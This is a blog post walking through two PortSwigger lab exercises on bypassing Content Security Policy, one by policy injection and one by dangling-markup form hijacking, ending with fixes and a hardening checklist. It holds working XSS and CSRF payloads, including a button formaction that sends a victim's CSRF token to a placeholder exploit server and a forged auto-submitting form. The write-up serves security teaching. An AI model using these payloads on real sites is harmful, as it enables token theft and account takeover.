October 27, 2026
Bypassing Strict CSPs
A deep dive into CSP mechanics, bypass strategies, and two PortSwigger lab walkthroughs
By NadaAshraf
9 min read
Introduction
Content Security Policy (CSP) is often deployed as the "last line of defense" against XSS. But a poorly configured CSP — or one with a subtle gap — can give developers a false sense of security while leaving the application exploitable. This post explores two real-world bypass techniques demonstrated in PortSwigger Web Security Academy labs:
- CSP Policy Injection (Expert) — Abusing user-controlled values inside the CSP header itself.
- Dangling Markup / Form Hijacking (Practitioner) — Exfiltrating CSRF tokens without executing a single line of JavaScript.
Both labs show that CSP is not a silver bullet. Understanding how a policy is constructed and which directives are missing is often more important than the policy's apparent strength.
Part 1: How CSP Works
CSP is an HTTP response header (or meta tag) that tells the browser which resources are allowed to load and execute.
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src *Content-Security-Policy: default-src 'self'; script-src 'self'; img-src *CSP Directives Explained
Fallback and Script Execution: The default-src directive acts as the fallback for any resource type not explicitly listed in the policy. When it comes to JavaScript, the script-src directive controls execution — covering inline scripts, external scripts, and event handlers. For more granular control, script-src-elem specifically targets
Styling and Media: The style-src directive governs CSS, while img-src controls images. The connect-src directive restricts URLs loaded via fetch, XHR, and WebSocket.
Navigation and Injection Prevention: The form-action directive defines where
tags can submit data. The base-uri directive specifies what can be set to, preventing base tag hijacking.Reporting: Finally, report-uri is not a restriction — it simply tells the browser where to send violation reports when other directives are violated.
Key Insight: Not All Directives Fall Back to default-src
This is the single most important thing to understand for CSP bypass:
script-src,style-src,img-src,connect-src, etc. do fall back todefault-src.form-actiondoes NOT fall back todefault-src. If it's missing, forms can submit anywhere.base-uridoes NOT fall back todefault-src. If it's missing,<base>hijacking is possible.frame-ancestorsdoes NOT fall back todefault-src. If it's missing, clickjacking is possible.
A policy that looks strict can be full of holes if you know where to look.
Part 2: Reading a CSP Like an Attacker
When you encounter a CSP during testing, run through this checklist:
- Is
script-srcpresent? If not,default-srcapplies. - Is
'unsafe-inline'present? If yes, inline<script>and event handlers work. CSP provides zero XSS protection. - Is
'unsafe-eval'present? If yes,eval(),setTimeout(string), andnew Function()work. - Are nonces or hashes used? If yes, look for ways to steal or reuse the nonce.
- Which hosts are whitelisted? Look for JSONP endpoints, open redirects, or CDN-hosted vulnerable libraries.
- Is
base-urirestricted? If missing,<base>hijacking is possible. - Is
form-actionrestricted? If missing, form hijacking is possible. - Are there wildcards (*,
https:)? If yes, the policy is effectively useless for that directive. - Is any part of the policy user-controlled? If yes, policy injection is possible.
Use Google CSP Evaluator (csp-evaluator.withgoogle.com) as a second pass, but read the policy yourself first.
Part 3:
Lab Walkthrough #1 — Reflected XSS protected by CSP, with CSP bypass (Expert)
The CSP
Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; report-uri /csp-report?token=Content-Security-Policy: default-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; report-uri /csp-report?token=
Reconnaissance
- Confirm reflected XSS exists. The search function reflects user input. Test with
<img src=1 onerror=alert(1)>. The payload appears in HTML, but the alert doesn't fire. DevTools shows a CSP violation:Refused to execute inline event handler because it violates "script-src 'self'".
- Inspect the CSP header. The last directive is
report-uri /csp-report?token=. Thetokenvalue comes from the URL and is reflected verbatim into the header. - Test token reflection. Visit
?token=test. The header now ends withreport-uri /csp-report?token=test. The token is reflected without sanitization.
The Vulnerability
CSP directives are separated by semicolons (;). If any part of the policy is user-controlled, an attacker can inject a semicolon to terminate the current directive and append new ones.
The critical directive is script-src-elem. It has higher priority than script-src and specifically controls <script> elements. Injecting script-src-elem 'unsafe-inline' overrides the original script-src 'self' restriction.
The Exploit
Step 1 — Build the final URL:
https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27https://YOUR-LAB-ID.web-security-academy.net/?search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&token=;script-src-elem%20%27unsafe-inline%27Decoded view:
?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'?search=<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
Breakdown:
PiecePurpose
search=<script>alert(1)</script>XSS payload — inline script that calls
alerttoken=;Semicolon terminates the original report-uri directive
script-src-elem 'unsafe-inline'New CSP directive that overrides script-src 'self'
Step 2 — Visit the URL in Chrome. The page loads, the injected <script> tag executes, and alert(1) fires. The lab is solved.
Why This Works
The resulting CSP header becomes:
default-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; report-uri /csp-report?token=;script-src-elem 'unsafe-inline'default-src 'self'; object-src 'none'; script-src 'self'; style-src 'self'; report-uri /csp-report?token=;script-src-elem 'unsafe-inline'The browser parses script-src-elem 'unsafe-inline' as a new directive. Because script-src-elem has higher priority than script-src, the original restriction is overridden. Inline scripts are now allowed.
Why <img onerror> Doesn't Work
script-src-elem controls <script> elements only. It does not affect event handlers (onerror, onclick). Those are governed by script-src-attr, which is still blocked by script-src 'self'. The final payload must use a <script> tag.
Alternative Payload Variations
Swap parameter order:
?token=;script-src-elem%20%27unsafe-inline%27&search=%3Cscript%3Ealert%281%29%3C%2Fscript%3E?token=;script-src-elem%20%27unsafe-inline%27&search=%3Cscript%3Ealert%281%29%3C%2Fscript%3EDifferent alert argument:
<script>alert(document.domain)</script><script>alert(document.domain)</script>Root Cause & Fix
Why it's broken:
- The application reflects a user-controlled URL parameter (
token) directly into the CSP header. This is a header injection flaw.
- Even though the policy looks strict, the injection point allows an attacker to append arbitrary directives.
How to fix:
- Validate the token parameter. Only allow alphanumeric characters and a fixed length. Reject anything containing ;, spaces, or quotes.
- Do not reflect user input into CSP headers. The
report-uritoken should be server-generated and session-bound, not taken from the URL. - Use
script-src-elem 'none'explicitly as defense in depth. This prevents injection from overriding it viascript-src-elem 'unsafe-inline'. - Add
base-uri 'none'andform-action 'self'as hardening directives.
Part 4:
Lab Walkthrough #2 — Reflected XSS protected by very strict CSP, with dangling markup attack (Practitioner)
The CSP
Content-Security-Policy: default-src 'self'; object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';Content-Security-Policy: default-src 'self'; object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';
Reconnaissance
- Log in with
wiener:peter. Go to My Account. The email change form contains a hidden CSRF token:
<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<input required type="email" name="email" value="wiener@normal-user.net">
<input required type="hidden" name="csrf" value="...">
<button class="button" type="submit">Update email</button>
</form><form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
<input required type="email" name="email" value="wiener@normal-user.net">
<input required type="hidden" name="csrf" value="...">
<button class="button" type="submit">Update email</button>
</form>
- Check the CSP header. Key observations:
DirectiveStatusImpact script-src 'self'PresentBlocks inline <script> and external scriptsimg-src 'self'PresentBlocks <img src="external">—classic dangling markup won't workbase-uri 'none'PresentBlocks <base> tag hijackingform-actionMISSINGForms can submit anywhere ← the gap
- Confirm HTML injection. The
emailparameter is reflected into thevalueattribute. Test withfoo@bar"><h1>test</h1>. The<h1>renders, confirming injection. Thefoo@barprefix passes client-side email validation.
The Vulnerability
CSP directives have specific fallback rules. form-action does not fall back to default-src. If it's not specified, the browser places no restriction on where forms can submit. This is the single gap the lab is built around.
You are injected inside the <form>. By injecting a <button> with a formaction attribute, you override where the form submits without needing any JavaScript:
- ✅ No
<script>—CSPscript-src 'self'is bypassed entirely. - ✅ No
<img>—CSPimg-src 'self'is bypassed. - ✅ No
<base>—CSPbase-uri 'none'is bypassed. - ✅ The CSRF token is included — it's a hidden input inside the same form.
The Exploit
Step 1 — Deliver the injection.
On your exploit server, set the body to a redirect that carries the payload:
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=foo@bar%22%3E%3Cbutton%20formaction=%22https://YOUR-EXPLOIT-SERVER.net/exploit%22%20formmethod=%22GET%22%3EClick%20me%3C/button%3E';
</script><script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=foo@bar%22%3E%3Cbutton%20formaction=%22https://YOUR-EXPLOIT-SERVER.net/exploit%22%20formmethod=%22GET%22%3EClick%20me%3C/button%3E';
</script>
Decoded payload:
foo@bar"><button formaction="https://YOUR-EXPLOIT-SERVER.net/exploit" formmethod="GET">Click me</button>foo@bar"><button formaction="https://YOUR-EXPLOIT-SERVER.net/exploit" formmethod="GET">Click me</button>
Click Store, then Deliver to victim.
Step 2 — Steal the CSRF token.
The victim visits the exploit server, is redirected to the lab page, and sees a "Click me" button inside the email form. When they click it, the form submits to your exploit server.
Check your exploit server's Access log:
10.0.3.180 2026-10-27 05:20:09 +0000 "GET /exploit?csrf=x62sMmqY3kXbNBkQXRv8OlXo6VqLVAiR HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim)..."10.0.3.180 2026-10-27 05:20:09 +0000 "GET /exploit?csrf=x62sMmqY3kXbNBkQXRv8OlXo6VqLVAiR HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim)..."
Copy the csrf value—in this example: x62sMmqY3kXbNBkQXRv8OlXo6VqLVAiR.
⚠️ If the token doesn't appear: Make sure you used
formmethod="GET". Without it, the browser may fall back to the form's originalPOSTmethod, putting the token in the request body—invisible in the access log.
Step 3 — Forge the CSRF request.
Update the exploit server body to an auto-submitting form using the stolen token:
<html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil-user.net">
<input type="hidden" name="csrf" value="x62sMmqY3kXbNBkQXRv8OlXo6VqLVAiR">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html><html>
<body>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="hacker@evil-user.net">
<input type="hidden" name="csrf" value="x62sMmqY3kXbNBkQXRv8OlXo6VqLVAiR">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Replace the token with your token from the log. Click Store, then Deliver to victim.
Step 4 — Verify.
After delivery, the banner at the top of the lab updates to Solved. The victim's email is now hacker@evil-user.net.
Alternative Payloads
Form Replacement (Close + Recreate):
foo@bar"></form><form action="https://YOUR-EXPLOIT-SERVER.net/exploit" method="GET"><button type="submit">Click me</button>foo@bar"></form><form action="https://YOUR-EXPLOIT-SERVER.net/exploit" method="GET"><button type="submit">Click me</button>This works because the CSRF token is still a sibling in the DOM — the new form wraps it.
One-Click Email Change (No Token Theft):
<script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@evil-user.net%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button%3E%3Cbase%20target=%22';
</script><script>
location = 'https://YOUR-LAB-ID.web-security-academy.net/my-account?email=hacker@evil-user.net%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button%3E%3Cbase%20target=%22';
</script>Decoded injection:
hacker@evil-user.net"><button class="button" type="submit">Click me</button><base target="hacker@evil-user.net"><button class="button" type="submit">Click me</button><base target="The trailing <base target=" is deliberately dangling—it's blocked by base-uri 'none', but the button still submits the form with the pre-filled malicious email. Some users report this variant failing on recent Chrome versions; the two-step method is more reliable.
Root Cause & Fix
Why it's broken:
- Output encoding failure — " and < in the
emailparameter should be encoded to"and<. This alone would stop the injection. - CSP gap —
form-actionshould be set to'self'(or'none'if forms aren't needed) to prevent form hijacking even if HTML injection occurs.
How to fix:
- Context-aware output encoding (the real fix):
from html import escape
email_value = escape(user_input, quote=True) # encodes " < > & 'from html import escape
email_value = escape(user_input, quote=True) # encodes " < > & '- Add
form-actionto the CSP (defense in depth):
Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none'; form-action 'self';Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none'; form-action 'self';- Validate email format server-side. Reject any input that doesn't match a strict email regex.
- Use
SameSite=Strictcookies. The CSRF token would be useless from a cross-site context if the session cookie isn't sent. - Re-authenticate on sensitive actions. Changing an email should require password confirmation, not just a CSRF token.
Part 5: Defensive Checklist
Based on both labs, here is a practical CSP hardening checklist:
CSP Hardening Checklist
Header Security & Policy Injection: Never reflect user input into CSP headers, because policy injection via ; can append arbitrary directives. Always explicitly set script-src-elem to prevent policy injection from overriding script-src. Combine CSP with output encoding—CSP is defense in depth, not a replacement for input validation.
Directive-Specific Hardening: Set form-action 'self' (or 'none') to prevent form hijacking, as this directive does not fall back to default-src. Set base-uri 'none' to prevent <base> tag hijacking, since it also does not fall back to default-src. Set object-src 'none' to prevent plugin-based bypasses. Set frame-ancestors 'none' to prevent clickjacking, as this directive does not fall back to default-src either.
Script Source Restrictions: Use nonces or hashes for inline scripts — this is stronger than 'unsafe-inline'. Avoid wildcards (*, https:) in script-src, because wildcards make the policy useless. Audit whitelisted hosts for JSONP endpoints or open redirects, since whitelisted hosts with these features become bypass vectors.
Conclusion
CSP is a powerful defense-in-depth mechanism, but it is not a silver bullet. Both labs demonstrate that a policy can look strict on paper while leaving critical gaps:
- CSP Policy Injection shows that if any part of the policy is user-controlled, the entire policy can be rewritten.
- Dangling Markup / Form Hijacking shows that a missing
form-actiondirective allows data exfiltration without executing a single line of JavaScript.
The common thread: understand the policy's fallback rules and missing directives. A CSP is only as strong as its weakest directive — and the weakest directive is usually the missing one.
🔗 References
- PortSwigger Web Security Academy: Reflected XSS protected by CSP, with CSP bypass
- PortSwigger Web Security Academy: Reflected XSS protected by very strict CSP, with dangling markup attack
- PortSwigger Research: Bypassing CSP with Policy Injection
- Google CSP Evaluator: csp-evaluator.withgoogle.com
- MDN: Content Security Policy (CSP)